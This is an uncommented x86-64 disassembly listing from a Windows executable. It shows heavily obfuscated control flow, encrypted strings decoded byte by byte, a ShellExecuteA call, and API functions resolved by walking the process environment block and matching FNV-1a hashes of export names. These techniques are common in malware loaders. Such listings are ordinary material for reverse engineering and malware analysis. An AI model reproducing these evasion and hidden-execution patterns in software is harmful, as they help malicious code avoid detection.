lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140112a9a
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140112a86
lea rbx, [r10 + 9]
lea r10, [rbx + 1]
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140113080
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140113059
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x1401129d2
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401129ac
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140112985
lea rbx, [r10 + 0x10]
lea r10, [rbx + 3]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x140112a63
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140112a4f
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x140112a2c
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x140112a09
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1401129f5
lea rbx, [r10 + 0x28]
lea r10, [rbx + 5]
jmp 0x1401128a4
movabs rdx, 0x207dc9f10de0ce3e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112897
movabs rdx, 0x1321bbfc51d2854a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 6
add dil, dl
jmp 0x140112838
movabs rcx, 0x5c5ae0795c43c56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
jmp 0x1401127c8
movabs rdx, 0x2cc45c7ac476cc40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140112f75
movabs rcx, 0x1f684e860868834c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x140112f8b
movabs rdx, 0x120c40914c5a3a58
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x68
jmp 0x140112e83
movabs rdx, 0x4b0329c904bf164
mov ecx, Ordinal_35
jmp 0x140112c28
movabs rcx, 0xf75424a7d43da870
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140113042
movabs rdx, 0x14373767574ad03c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x140112f75
movabs rdx, 0x6db29729b3c8748
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140112e28
movabs rcx, 0xf97f1b7ddf2e3e54
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4c
jmp 0x140112f5e
movabs rdx, 0xec230d89231ff560
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140112f5b
movabs rdx, 0xdec6ff946711ac6c
mov ecx, 6
jmp 0x140112f00
lea rax, [r10 + 0x10]
cmp rbx, rax
jae 0x140112be4
lea rcx, [r9 + r11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
lea rax, [rbx + r10]
cmp rax, 0x200
je 0x140112e5c
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x140112cba
movabs rcx, 0x1777a9a867b3b112
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7e
cmp rbx, 0x400
jae 0x140112e04
lea rax, [r10 + 0x28]
cmp rbx, rax
jbe 0x140112d4a
movabs rdx, 0x23be3c321e49af14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 0x61
jb 0x140112df7
movabs rcx, 0xa956c7c176d8889c
add rcx, r9
mov al, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140112f33
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140112c10
movabs rcx, 0x188d25136d2bfc04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x140113042
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140112c40
movabs rdx, 0x25e93308293a44f8
mov ecx, Ordinal_32
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112ff1
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140112c5d
movabs rdx, 0x4dfd5ce65d651fd4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x140112f75
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140112c89
movabs rcx, 0x5b596adb197368c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x140112e2e
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140112b3b
movabs rcx, 0x68b578cfd581b1bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x24
jmp 0x140112f5e
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140112ce6
movabs rcx, 0x24d3b79d23c1fa06
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2a
jmp 0x140112f33
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140112d16
movabs rdx, 0x3f8bd3869bde8bee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112f5e
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140112b76
movabs rdx, 0x679ffd64d00966ca
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112f8b
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140112d76
movabs rcx, 0x311a4a26da57f808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140113042
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140112da6
movabs rdx, 0x4bd26610527489f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112fbd
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140112dd6
movabs rdx, 0x8e9eabd7febbf6b4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112f5b
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140112bb2
movabs rdx, 0x9bfab9ccbaca3fa8
mov ecx, 0x34
jmp 0x140112f00
mov byte [rbp + r9 + 0x2a0], dil
jmp 0x140113051
movabs rdx, 0xb6b2d5b632e6d190
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0x2a0]
add dil, dl
add dil, r8b
movabs rdx, 0x3d60dcb090edf60a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, dil
sub cl, al
sub cl, 0x46
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x2a0], cl
jmp 0x140112f88
movabs rdx, 0xc40ee3aaeef51a84
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x2a0]
add dil, r8b
add dil, dl
jmp 0x140112fbd
movabs rcx, 0x8483102453168e96
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x140113042
movabs rcx, 0x4f12d85162dd6ac6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x140112f88
movabs rcx, 0x345abc67eac0d8de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x12
jmp 0x140112f5e
movabs rdx, 0x19a2a07e72a446f6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112f33
movabs rcx, 0xfeea8494fa87b50e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
movabs rdx, 0x3004cebbd4dfad16
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x2a0], cl
add r10, r14
sub r9, r14
jmp 0x140113051
movabs rdx, 0xc97a4cc20a4e913e
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140113051
mov r8, rdx
movabs rcx, 0xaec230d89231ff56
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x5a
movabs rdx, 0x4abceaa54cfc3efe
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x2a0], al
add r10, r14
add rax, r10
sub r9, rax
movabs rcx, 0xd16af19fab036378
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x48
add r8b, cl
mov byte [rbp + r9 + 0x2a0], r8b
add rbx, r14
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140113042
movabs rcx, 0x940a14ef1a156d6e
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 2
movzx eax, byte [rbp + r9 + 0x2a0]
add rax, r10
add r9, rax
add r9, r14
jmp 0x1401127b5
movabs rdx, 0xf869a012d9b5f362
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401127b2
movabs rcx, 0xeb0d921e1da7aa6e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 2
jmp 0x1401127a2
lea rdx, [rbp + 0x14c8498]
jmp 0x1401130bd
lea rdx, [rbp + 0x93a912]
jmp 0x1401130bd
lea rdx, [rbp + 0x2a0]
mov dword [rsp + 0x28], r14d
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x140113234
xor edi, edi
mov esi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r15, r10
movups xmm0, xmmword [r10 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test edi, edi
je 0x14011314f
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140113142
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140113133
cmp edx, edi
jne 0x140113218
mov r9, qword [r10 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140113218
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140113218
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401131a1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140113196
cmp edx, esi
je 0x1401131b5
test ebx, ebx
jne 0x140113182
jmp 0x140113218
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x14011322d
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14011322d
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
mov r14d, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14011320c
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r14
jmp 0x1401131eb
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r14
mov al, byte [rdx]
test al, al
jne 0x140113201
mov r10, qword [r15]
mov r10, qword [r10]
cmp r10, r15
je 0x14011322b
cmp qword [r10 + 0x30], 0
jne 0x140113102
xor edx, edx
mov qword [0x1404fc118], rdx
mov ebx, 0x99
mov ecx, ebx
call rdx
mov qword [0], rbx
lea rcx, [rbp + 0x1170]
call fcn.14008b580
mov r15d, 8
mov rcx, r12
call fcn.14007b1e0
mov byte [rbp + 0x630], 0xfb
mov byte [rbp + 0x631], Ordinal_79
mov byte [rbp + 0x632], Ordinal_211
mov byte [rbp + 0x633], 0x43
mov byte [rbp + 0x634], 0xda
mov byte [rbp + 0x635], 0x41
mov byte [rbp + 0x636], Ordinal_211
mov byte [rbp + 0x637], 0x47
mov byte [rbp + 0x638], Ordinal_211
mov byte [rbp + 0x639], 0x45
mov byte [rbp + 0x63a], 0x9b
mov byte [rbp + 0x63b], Ordinal_60
mov byte [rbp + 0x63c], 0xae
mov byte [rbp + 0x63d], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x63e], 0x9b
mov byte [rbp + 0x63f], 0x3f
mov byte [rbp + 0x640], 0x90
mov byte [rbp + 0x641], 0x3d
mov byte [rbp + 0x642], 0x99
mov byte [rbp + 0x643], gethostname
mov byte [rbp + 0x644], 0xa9
mov byte [rbp + 0x645], Ordinal_50
mov byte [rbp + 0x646], 0xa4
mov byte [rbp + 0x647], Ordinal_60
mov byte [rbp + 0x648], 0xa0
mov byte [rbp + 0x649], gethostname
mov byte [rbp + 0x64a], 0xbf
mov byte [rbp + 0x64b], Ordinal_46
mov byte [rbp + 0x64c], 0xba
mov byte [rbp + 0x64d], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x64e], Ordinal_143
mov byte [rbp + 0x64f], Ordinal_50
mov byte [rbp + 0x650], 0xba
mov byte [rbp + 0x651], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x652], 0xe8
mov byte [rbp + 0x653], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x654], 0xf4
mov byte [rbp + 0x655], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x656], Ordinal_41
mov byte [rbp + 0x657], Ordinal_41
xor eax, eax
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x660], eax
movabs rsi, 0xe0e48beb0e6d69b6
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r9, qword [rax]
xor r10d, r10d
lea r12d, [r10 + 1]
cmp r10, 0x34
jae 0x140113c0e
movzx r8d, byte [rbp + r10 + 0x630]
mov r11d, r8d
cmp rbx, r10
ja 0x140113c05
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401133ee
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 6
jmp 0x140113428
je 0x140113b75
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140113af4
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140113abc
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140113a6d
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140113a40
cmp r9, r10
ja 0x140113bfc
lea rax, [r9 + 0x5a]
cmp rbx, rax
jae 0x14011345f
movabs rcx, 0x72bf7a482ef9abee
add rcx, r10
mov al, r8b
and al, cl
mov edi, 0x3f
sub dil, al
add dil, dil
add dil, r8b
add dil, cl
jmp 0x140113493
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1401139f5
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401139d5
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401139b1
lea rax, [r9 + 7]
cmp rbx, rax
je 0x14011398e
lea rax, [rbx + r9]
cmp rax, r10
jbe 0x1401136cb
lea rax, [r9 + 0x2a]
cmp rbx, rax
je 0x1401136a8
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x140113684
lea rax, [r9 + 8]
cmp rbx, rax
je 0x140113660
mov rbx, rax
lea r9, [rax + 8]
lea rax, [r9 + 8]
cmp rbx, rax
jb 0x140113bd5
lea rax, [r9 + 0x41]
cmp rbx, rax
jb 0x140113bae
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x140113599
lea rbx, [r9 + 5]
lea r9, [rbx + 5]
lea rax, [r9 + 5]
cmp rbx, rax
ja 0x140113573
lea rax, [r9 + 0x61]
cmp rbx, rax
ja 0x14011354d
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x140113527
mov rbx, rax
lea r9, [rax + 0x28]
jmp 0x1401134a0
movabs rcx, 0xd432ba6b5af28c04
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1c
add dil, cl
jmp 0x140113a62
movabs rcx, 0xcd0e5b12e7873e54
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
add dil, cl
jmp 0x140113ae1
movabs rcx, 0x87b3139090f6c410
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x70
add dil, cl
jmp 0x140113b97
movabs rcx, 0xdde11076f243393e
add rcx, r10
mov al, cl
and al, r8b
mov edi, Ordinal_41
sub dil, al
add dil, dil
add dil, cl
add dil, r8b
lea rax, [r9 + rbx]
cmp rax, 4
je 0x140113965
lea rax, [r9 + 4]
cmp rbx, rax
jbe 0x1401137b0
movabs rdx, 0x967557027012305e
add rdx, r10
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x20
jae 0x14011393c
lea rax, [r9 + 0x20]
cmp rbx, rax
jbe 0x140113867
movabs rcx, 0x934d14a9f0bdc4c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
cmp r9, 0xa
jb 0x14011392f
movabs rdx, 0x9b0fbfa7bf981e84
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x38]
jmp 0x140113a16
movabs rdi, 0xb07cddb119da0794
add rdi, r10
mov al, dil
and al, r8b
add al, al
sub dil, al
sub dil, 0xc
add dil, r8b
jmp 0x140113b97
movabs rcx, 0xa9587e58a66eb9e4
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x3c
jmp 0x140113ade
movabs rdx, 0xa2341f0033036c34
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x6c
jmp 0x140113a13
lea rax, [r9 + 6]
cmp rbx, rax
jae 0x1401136f2
lea rdx, [r10 + rsi]
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401135bc
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14011371f
movabs rcx, 0xe57ef4905df357dc
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 4
jmp 0x140113b97
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14011374c
movabs rdx, 0x6911243c97a8feb4
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140113b13
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14011377c
movabs rdx, 0xae6c6bbeee3978f8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140113a8f
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401135bc
movabs rdx, 0x703583950b144c64
mov ecx, Ordinal_35
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140113a65
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401137dd
movabs rdx, 0x583e6ed88ced03ca
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140113a13
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14011380a
movabs rcx, 0xdbd09e84c6a2aaa2
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6e
jmp 0x140113a65
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140113837
movabs rcx, 0x212be6071d3324e6
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4a
jmp 0x140113ae1
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401135f9
movabs rcx, 0x66872d8973c39f2a
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x26
jmp 0x140113b97
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140113893
movabs rcx, 0xcafde920bbe6afb8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r15b
jmp 0x140113b97
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401138c1
movabs rdx, 0x4e9018ccf59c5690
add rdx, r10
mov al, dl
and al, r8b
mov ecx, r15d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140113b16
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401138de
movabs rdx, 0x93eb604f4c2cd0d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x140113a7c
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x1401138fb
movabs rdx, 0x55b478256907a440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140113798
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14011362e
movabs rdx, 0xd946a7d1a2bd4b18
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140113a16
mov byte [rbp + r10 + 0x630], dil
jmp 0x140113ba6
movabs rdx, 0x5cd8d77ddc72f1f0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r10 + 0x630]
jmp 0x140113a89
movabs rdx, 0x1ea1ef53f94dc55c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0x630]
jmp 0x140113744
movabs rdx, 0xbf3f2122f8f573e2
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2e
jmp 0x140113b13
movabs rcx, 0xfd76094cdc1aa076
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x3a
jmp 0x140113ae1
movabs rcx, 0xb81ac1ca858a2632
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5e
jmp 0x140113a65
movabs rdx, 0x3488921e4bd47f5a
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x76
add dil, dl
movabs rdx, 0x7bf44b92ce05883a
add rdx, r10
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r10 + 0x630], cl
jmp 0x140113a62
movabs rdx, 0xef2d4a9bf5440516
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add r9, r12
sub r10, r12
jmp 0x140113ba6
movabs rdx, 0x6b9b1aefbb8e5e3e
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0x3dbd6368eae05ba6
add rcx, r10
mov al, cl
and al, r8b
mov edx, Ordinal_60
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r8b
mov byte [rbp + r10 + 0x630], dl
jmp 0x140113ade
movabs rdx, 0xa9d203199eb38ad2
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140113ba6
movabs rdx, 0x263fd36d64fde3fa
add rdx, r10
mov al, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movabs rcx, 0xff867b3f07bb2f12
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x7e
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0x630], al
add r9, r12
add rax, r9
sub r10, rax
movabs rcx, 0xe06b072a162898c8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x78
add cl, r8b
mov byte [rbp + r10 + 0x630], cl
add rbx, r12
sub r10, rbx
sub r10, r12
jmp 0x140113b97
movabs rdx, 0xa2ada3c12b483d22
add rdx, r10
mov al, r11b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x630]
add rax, r9
add r10, rax
add r10, r12
jmp 0x1401133ac
movabs rdx, 0xd6bcb11e7ed7eb8e
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401133a5
movabs rdx, 0x14f3994861fd1822
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140113395
lea r15, [rbp + 0x1430c78]
jmp 0x140113c15
lea r15, [rbp + 0xb0762e]
jmp 0x140113c15
lea r15, [rbp + 0x630]
mov qword [rsp + 0x58], r15
mov r10, qword [0x1404fc110]
test r10, r10
jne 0x140113d83
xor edi, edi
mov esi, 0xfbf688c6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
lea r15d, [r10 + 8]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd ecx, xmm0
sub cx, r15w
mov word [rsp + 0x60], cx
test edi, edi
je 0x140113c96
mov rdx, qword [rsp + 0x68]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, 0x811c9dc5
jmp 0x140113c88
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x140113c77
cmp r8d, edi
jne 0x140113d6f
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x140113d6f
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140113d6f
mov r14d, dword [r11 + 0x20]
dec ebx
lea r8, [r9 + rbx*4]
mov r10d, dword [r8 + r14]
add r10, r9
mov r8d, 0x811c9dc5
jmp 0x140113ceb
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r10]
add r10, r12
test dl, dl
jne 0x140113cde
cmp r8d, esi
je 0x140113d00
test ebx, ebx
jne 0x140113cc9
jmp 0x140113d6f
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140113d77
lea rax, [r11 + rcx]
cmp r10, rax
jae 0x140113d77
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140113d40
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
cmp al, 0x2e
jne 0x140113d32
jmp 0x140113d54
movsx eax, al
